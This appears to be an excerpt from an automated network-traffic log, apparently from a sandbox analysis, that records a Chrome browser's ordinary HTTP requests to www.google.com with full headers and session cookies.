NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY
Source: global traffic	HTTP traffic detected: GET /complete/search?q&cp=0&client=gws-wiz&xssi=t&gs_pcrt=2&hl=en&authuser=0&psi=pF_cZ7LvOfKGptQP2o684AU.1742495654280&dpr=1&nolsbt=1 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY
Source: global traffic	HTTP traffic detected: GET /images/hpp/ic_wahlberg_product_core_48.png8.png HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE=Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ogs.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY
Source: global traffic	HTTP traffic detected: GET /gen_204?atyp=i&ct=ppm&cad=&lids=cdos,hsm,jsa,mb4ZUb,cEt90b,SNUn3,qddgKe,sTsDMc,dtl0hd,eHDfl,YV5bee,d,csi&p1_dbs=1000853&p1_ebs=1000853&p1_ts=1001153&p1_ws=0&p1_ls=1651&p1_le=2874&sn=webhp&sp=0&ss=0&ids=sb_wiz,aa,abd,U9EYge,async,ifl,pHXghd,sf,sonic,spch,rtH1bd,EiD4Fe,SMquOb,uxMpU,Mlhmy,QGR0gd,OTA3Ae,EEDORb,PoEs9b,Pjplud,A1yn5d,YIZmRd,uY49fb,byfTOb,lsjVmc,LEikZe,kWgXee,ovKuLd,sgY6Zb,xUdipf,NwH0H,gychg,ZfAoz,yDVVkb,qafBPd,ebZ3mb,dowIGb,d5EhJe,fCxEDd,T1HOxc&am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAARAAAAAAAIAAAAAgAAAgAAAMAIAAkEAAABAAAAMAEAAAAYAAAAAAAAAgAAIADAo4wCAAIkAAAAAAAAAHABAAgQAAgAAAAAAAAAAAIAAAAAAAACAAAAAAAAFAAAAAAAEAAAAAAAQAAACEAAAAAAAAAAAAAAAAAAgB4AAAAAAAAAAAAAIAAAADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEEAAQAAAAAAAAAAAAAAAABKmlho&k=xjs.hd.en.VHBQ7i1oX2g.es5.O&s=1&dbs=392629&ebs=392629&ts=392929&ws=0&ls=3027&le=4556&ei=pF_cZ7LvOfKGptQP2o684AU&zx=1742495655853&opi=89978449 HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 5.45sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 250sec-ch-ua-platform-version: "10.0.0"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY; OGPC=19046228-1:
Source: global traffic	HTTP traffic detected: GET /images/hpp/ic_wahlberg_product_core_48.png8.png HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY; OGPC=19046228-1:
Source: global traffic	HTTP traffic detected: GET /xjs/_/ss/k=xjs.hd.3UF5emn0zs8.L.B1.O/am=CFEAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAARkJwAAAIAgADsAAgAAAgABAAAAAAEEAAAABEAAICEAAAYQAAAgAABgAgASAAgAAAACUxoAAAEAGAAAHAABIAEAACgAAACQAAAAAAAAAAIAAAACAAEw0BAQFUApABAAIAAIBAAABAAAGAKAEAAAOgAQgAEAhAAAgB4QCAAAAAAAAAIAAAAsADAYYQAEAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAQAEAAAAAAAAAAAAAAAAAAAAC/d=0/br=1/rs=ACT90oFzVuhg8QPjSVAuF9eHRNKrML12nw/m=syjq,synh?xjs=s4 HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 5.45sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 250sec-ch-ua-platform-version: "10.0.0"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY; OGPC=19046228-1:
Source: global traffic	HTTP traffic detected: GET /client_204?cs=1&opi=89978449 HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 5.45sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 250sec-ch-ua-platform-version: "10.0.0"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY; OGPC=19046228-1:
Source: global traffic	HTTP traffic detected: GET /async/hpba?vet=10ahUKEwiy0aqTppmMAxVyg4kEHVoHD1wQj-0KCBc..i&ei=pF_cZ7LvOfKGptQP2o684AU&opi=89978449&yv=3&sp_imghp=false&sp_hpte=1&sp_hpep=1&stick=&cs=0&async=_basejs:%2Fxjs%2F_%2Fjs%2Fk%3Dxjs.hd.en.VHBQ7i1oX2g.es5.O%2Fam%3DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAARAAAAAAAIAAAAAgAAAgAAAMAIAAgEAAABAAAAMAEAAAAYAAAAAAAAAgAAIADAo4wCAAIkAAAAAAAAAHABAAgQAAgAAAAAAAAAAAIAAAAAAAACAAAAAAAAFAAAAAAAEAAAAAAAQAAACEAAAAAAAAAAAAAAAAAAgB4AAAAAAAAAAAAAIAAAADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEAAAQAAAAAAAAAAAAAAAABKmlho%2Fdg%3D0%2Fbr%3D1%2Frs%3DACT90oFI843KH_skkA3LMEIA-jaywe7UZQ,_basecss:%2Fxjs%2F_%2Fss%2Fk%3Dxjs.hd.3UF5emn0zs8.L.B1.O%2Fam%3DCFEAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAARkJwAAAIAgADsAAgAAAgABAAAAAAEEAAAABEAAICEAAAYQAAAgAABgAgASAAgAAAACUxoAAAEAGAAAHAABIAEAACgAAACQAAAAAAAAAAIAAAACAAEw0BAQFUApABAAIAAIBAAABAAAGAKAEAAAOgAQgAEAhAAAgB4QCAAAAAAAAAIAAAAsADAYYQAEAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAQAEAAAAAAAAAAAAAAAAAAAAC%2Fbr%3D1%2Frs%3DACT90oFzVuhg8QPjSVAuF9eHRNKrML12nw,_basecomb:%2Fxjs%2F_%2Fjs%2Fk%3Dxjs.hd.en.VHBQ7i1oX2g.es5.O%2Fck%3Dxjs.hd.3UF5emn0zs8.L.B1.O%2Fam%3DCFEAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAR1JwAAAIAoADsAAgAAAgABAMAIAAkEAAABBEAAMCEAAAYYAAAgAABgAgASIAjAo4wCUxokAAEAGAAAHHABIAkQACgAAACQAAAAAAIAAAIAAAACAAEw0BAQFUApABAAMAAIBAAARAAAGEKAEAAAOgAQgAEAhAAAgB4QCAAAAAAAAAIAIAAsADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEEAAQAAAAAAAAAAAAAAAABKmlho%2Fd%3D1%2Fed%3D1%2Fdg%3D0%2Fbr%3D1%2Fujg%3D1%2Frs%3DACT90oGkziwljBCqPtF7zkxsImG3IkkszQ,_fmt:prog,_id:_pF_cZ7LvOfKGptQP2o684AU_9 HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 5.45sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 250sec-ch-ua-platform-version: "10.0.0"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY; OGPC=19046228-1:
Source: global traffic	HTTP traffic detected: GET /xjs/_/js/k=xjs.hd.en.VHBQ7i1oX2g.es5.O/am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAARAAAAAAAIAAAAAgAAAgAAAMAIAAgEAAABAAAAMAEAAAAYAAAAAAAAAgAAIADAo4wCAAIkAAAAAAAAAHABAAgQAAgAAAAAAAAAAAIAAAAAAAACAAAAAAAAFAAAAAAAEAAAAAAAQAAACEAAAAAAAAAAAAAAAAAAgB4AAAAAAAAAAAAAIAAAADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEAAAQAAAAAAAAAAAAAAAABKmlho/d=0/dg=0/br=1/rs=ACT90oFI843KH_skkA3LMEIA-jaywe7UZQ/m=sysb,XCToU,syse,sysd,VsqSCc,sy1bb,P10Owf,sy1a0,gSZvdb,syzh,WlNQGd,syr2,syqz,syqy,DPreE,syzs,syzr,nabPbb,syzc,syza,syjq,synh,CnSW2d,kQvlef,syzq,fXO0xe?xjs=s4 HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 5.45sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 250sec-ch-ua-platform-version: "10.0.0"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY; OGPC=19046228-1:
Source: global traffic	HTTP traffic detected: GET /gen_204?atyp=i&ct=ppm&cad=&sn=webhp&sp=0&ss=0&ids=zx30Y,Wo3n8,loL8vb,ms4mZb,B2qlPe,NzU6V,zGLm3b,DhPYme,KHourd,MpJwZc,UUJqVe,sOXFj,s39S4,oGtAuc,nAFL3,q0xTif,y05UD,PPhKqf,epYOx&am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAARAAAAAAAIAAAAAgAAAgAAAMAIAAkEAAABAAAAMAEAAAAYAAAAAAAAAgAAIADAo4wCAAIkAAAAAAAAAHABAAgQAAgAAAAAAAAAAAIAAAAAAAACAAAAAAAAFAAAAAAAEAAAAAAAQAAACEAAAAAAAAAAAAAAAAAAgB4AAAAAAAAAAAAAIAAAADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEEAAQAAAAAAAAAAAAAAAABKmlho&k=xjs.hd.en.VHBQ7i1oX2g.es5.O&s=2&dbs=164129&ebs=164129&ts=164429&ws=0&ls=3028&le=4602&ei=pF_cZ7LvOfKGptQP2o684AU&zx=1742495655910&opi=89978449 HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 5.45sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 250sec-ch-ua-platform-version: "10.0.0"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY; OGPC=19046228-1:
Source: global traffic	HTTP traffic detected: GET /xjs/_/js/k=xjs.hd.en.VHBQ7i1oX2g.es5.O/am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAARAAAAAAAIAAAAAgAAAgAAAMAIAAgEAAABAAAAMAEAAAAYAAAAAAAAAgAAIADAo4wCAAIkAAAAAAAAAHABAAgQAAgAAAAAAAAAAAIAAAAAAAACAAAAAAAAFAAAAAAAEAAAAAAAQAAACEAAAAAAAAAAAAAAAAAAgB4AAAAAAAAAAAAAIAAAADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEAAAQAAAAAAAAAAAAAAAABKmlho/d=0/dg=0/br=1/rs=ACT90oFI843KH_skkA3LMEIA-jaywe7UZQ/m=aLUfP?xjs=s4 HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 5.45sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 250sec-ch-ua-platform-version: "10.0.0"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; OGPC=19046228-1:; NID=522=o1n3zx9LT1nt9nKVhdVXA1okxU11iAvtNWWdHTaIXLhL8d-akCBe5AzXDIqb2cZV-c3gI73az_z5SItD-8OW3GeY4HthGFW1GFm5TdOXKOApmQVWDOhK7jHMKp2g10UbXrZLr4xjEJrDIreCW6yOAJXYTWmg_6RHYS95TkGpPf-OjTBclGe_pE4ODfxB_S64Mz5HEew8EeRtsq66vaQTVfDWn6g
Source: global traffic	HTTP traffic detected: GET /gen_204?atyp=i&ct=ppm&cad=&sn=webhp&sp=0&ss=0&ids=XCToU,VsqSCc,P10Owf,gSZvdb,WlNQGd,DPreE,nabPbb,CnSW2d,kQvlef,fXO0xe&am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAARAAAAAAAIAAAAAgAAAgAAAMAIAAkEAAABAAAAMAEAAAAYAAAAAAAAAgAAIADAo4wCAAIkAAAAAAAAAHABAAgQAAgAAAAAAAAAAAIAAAAAAAACAAAAAAAAFAAAAAAAEAAAAAAAQAAACEAAAAAAAAAAAAAAAAAAgB4AAAAAAAAAAAAAIAAAADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEEAAQAAAAAAAAAAAAAAAABKmlho&k=xjs.hd.en.VHBQ7i1oX2g.es5.O&s=3&dbs=38131&ebs=38131&ts=38431&ws=0&ls=4615&le=5369&ei=pF_cZ7LvOfKGptQP2o684AU&zx=1742495656641&opi=89978449 HTTP/1.1Host: www.google.comConnection: keep-alivedownlink: 5.45sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-form-factors: "Desktop"sec-ch-ua-wow64: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"sec-ch-prefers-color-scheme: lightUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36rtt: 250sec-ch-ua-platform-version: "10.0.0"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; OGPC=19046228-1:; NID=522=o1n3zx9LT1nt9nKVhdVXA1okxU11iAvtNWWdHTaIXLhL8d-akCBe5AzXDIqb2cZV-c3gI73az_z5SItD-8OW3GeY4HthGFW1GFm5TdOXKOApmQVWDOhK7jHMKp2g10UbXrZLr4xjEJrDIreCW6yOAJXYTWmg_6RHYS95TkGpPf-OjTBclGe_pE4ODfxB_S64Mz5HEew8EeRtsq66vaQTVfDWn6g
Source: global traffic	HTTP traffic detected: GET /xjs/_/ss/k=xjs.hd.3UF5emn0zs8.L.B1.O/am=CFEAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAARkJwAAAIAgADsAAgAAAgABAAAAAAEEAAAABEAAICEAAAYQAAAgAABgAgASAAgAAAACUxoAAAEAGAAAHAABIAEAACgAAACQAAAAAAAAAAIAAAACAAEw0BAQFUApABAAIAAIBAAABAAAGAKAEAAAOgAQgAEAhAAAgB4QCAAAAAAAAAIAAAAsADAYYQAEAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAQAEAAAAAAAAAAAAAAAAAAAAC/d=0/br=1/rs=ACT90oFzVuhg8QPjSVAuF9eHRNKrML12nw/m=syjq,synh?xjs=s4 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; OGPC=19046228-1:; 